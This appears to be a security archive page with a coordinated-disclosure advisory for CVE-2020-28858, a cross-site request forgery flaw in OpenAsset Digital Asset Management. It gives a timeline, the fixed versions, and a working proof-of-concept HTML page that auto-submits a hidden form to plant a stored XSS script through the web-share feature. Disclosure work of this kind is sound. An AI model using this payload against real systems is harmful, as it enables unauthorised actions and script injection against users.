OpenAsset Digital Asset Management Cross Site Request Forgery

Authored by Jack Misiura

Posted Dec 11, 2020

OpenAsset Digital Asset Management suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2020-28858
SHA-256 | `078180c0088a10bb5564b3436104fdcc80f9d53548b5cf7063cb5edac1d63305` **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Title: Cross-site request forgery (CSRF)


Product: OpenAsset Digital Asset Management by OpenAsset


Vendor Homepage: https://www.openasset.com/


Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)


Fixed Version: 12.0.26 (Cloud) 11.4.10 (On-premise)


CVE Number: CVE-2020-28858


Author: Jack Misiura from The Missing Link


Website: https://www.themissinglink.com.au


Timeline:


2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication


1. Vulnerability Description


The OpenAsset Digital Asset Management web application was vulnerable to cross-site request forgery because it
did not verify whether a request made to itself was intentionally made by the user. All actions performed by
the user's navigating the site, including all administrative user actions were found to be vulnerable.


2. PoC


While all endpoints are vulnerable, the best attack involves using the web share functionality, to introduce a
stored XSS through CSRF. The web shares are shared with third parties by application users. To perform the
attack, the following HTML page can be hosted on an attacker controlled site:


<html>

    <body>

        CSRF / Stored XSS Attack Demo - WebShares

        <iframe src="https://target-site.com/404page/123" name="targetFrame" style="display:none">

        </iframe>

        <form id="myEvilForm" name="submit" action="https://target-site.com/AJAXPage/EditDownload"
target="targetFrame" method="POST" style="display:none">
                                                                   <input type="text" name="code" value="CODE
GOES HERE"><br/>

            <input type="text" name="name" value="Test<script>alert("CSRF and XSS attack!");</script>"><br/>

            <input type="text" name="description" value="SharedFolder"><br/>

            <input type="text" name="expires" value="1"><br/>

            <input type="text" name="expiryDate" value="12-12-2030"><br/>

            <input type="text" name="maximumDownloads" value=""><br/>

            <input type="text" name="notifyEveryDownload" value="1"><br/>

            <input type="text" name="alive" value="on"><br/>

            <input type="text" name="action" value="submit"><br/>

            <input type="submit" value="Submit"><br/>

       </form>

    </body>

    <script>

        alert("Ready to submit CSRF attack.");

        myEvilForm.submit();

        alert("Done.");

    </script>

</html>


The code value must be replaced with the appropriate web share code - this is acquired when the web share is
sent to the unauthenticated third parties. The attacker only needs to convince the user who sent the original
web share information out to visit the example site.


3. Solution
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud
version, the vendor has already updated it.



4. Advisory URL



https://www.themissinglink.com.au/security-advisories
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed